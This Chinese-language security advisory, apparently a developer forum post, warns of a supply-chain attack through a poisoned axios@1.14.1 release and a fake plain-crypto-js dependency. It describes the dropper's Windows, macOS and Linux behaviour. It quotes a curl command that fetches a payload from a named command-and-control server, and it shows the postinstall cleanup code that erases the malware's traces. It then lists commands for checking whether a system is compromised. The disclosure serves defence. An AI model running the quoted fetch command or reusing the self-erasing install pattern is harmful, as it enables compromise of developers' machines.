⚠️⚠️⚠️ 緊急通告⚠️⚠️⚠️
各位開發者 特別是Nodejs 使用 axios庫的時候 檢查下 axios 版本
補充一下 不僅僅是開發人員 使用了AI Cli(例如codex claude code) 並且調用了 open-websearch 等MCP的也要自查
使用 npx 安裝的 latest 版本的時候會安裝 axios@1.14.1 此版本存在供應鏈投毒
惡意包 │ plain-crypto-js@4.2.1(偽裝 crypto-js)
投毒的 axios │ axios@1.14.1(被篡改,加入了 plain-crypto-js 依賴)
受影響的 MCP │ open-websearch 和 exa-mcp-server 的 npx 緩存
惡意行為 │ 複製 PowerShell 為 wt.exe,執行遠程載荷後自刪除
攻擊行為詳解
C2 服務器 : http:/sfrclak.com:8000/6202033
三平臺全覆蓋的攻擊
Windows :
1. where powershell → 找到 powershell.exe 路徑
2. 複製 powershell.exe → C:\ProgramData\wt.exe (偽裝成 Windows Terminal)
3. 寫入 VBS 腳本到 %TEMP%\6202033.vbs:
- 用 curl 從 C2 下載載荷: curl -s -X POST -d "packages.npm.org/product1" "http:/sfrclak.com:8000/6202033"
- 保存為 .ps1 文件
- 用偽裝的 wt.exe (實際是 PowerShell) 隱窗執行: -w hidden -ep bypass
- 執行完刪除 .ps1
4. 用 cscript 靜默執行 VBS,執行完刪除 VBS
macOS:
1. curl 從 C2 下載二進制到 /Library/Caches/com.apple.act.mond (偽裝成系統進程)
2. chmod 770 賦權
3. 後臺執行,連回 C2
4. 通過 osascript (AppleScript) 執行,刪除痕跡
Linux:
1. curl 從 C2 下載 Python 腳本到 /tmp/ld.py
2. nohup 後臺執行,連回 C2
最後的毀屍滅跡
// 刪除 setup.js 自身
fs.unlink(__filename, (x=>{}));
// 把 package.md 重命名為 package.json,覆蓋掉含 postinstall 的原始 package.json
fs.rename("package.md", "package.json", (x=>{}));
連 package.json 都替換了,事後檢查依賴根本看不出 postinstall 曾經存在過。
快速排查
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"
請檢查plain-crypto-js以下內容node_modules:
ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY AFFECTED"
如果該程序setup.js已經運行,package.json則此目錄中的內容將被替換為乾淨的存根文件。
該目錄的存在足以證明投放器已執行。
檢查受影響系統上是否存在 RAT 痕跡:
# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED"
# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED":: Windows (cmd.exe)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED
這是一個不到 24 小時前發生的 0-day 供應鏈攻擊(2026-03-31),目前 npm 和安全社區尚未公開披露。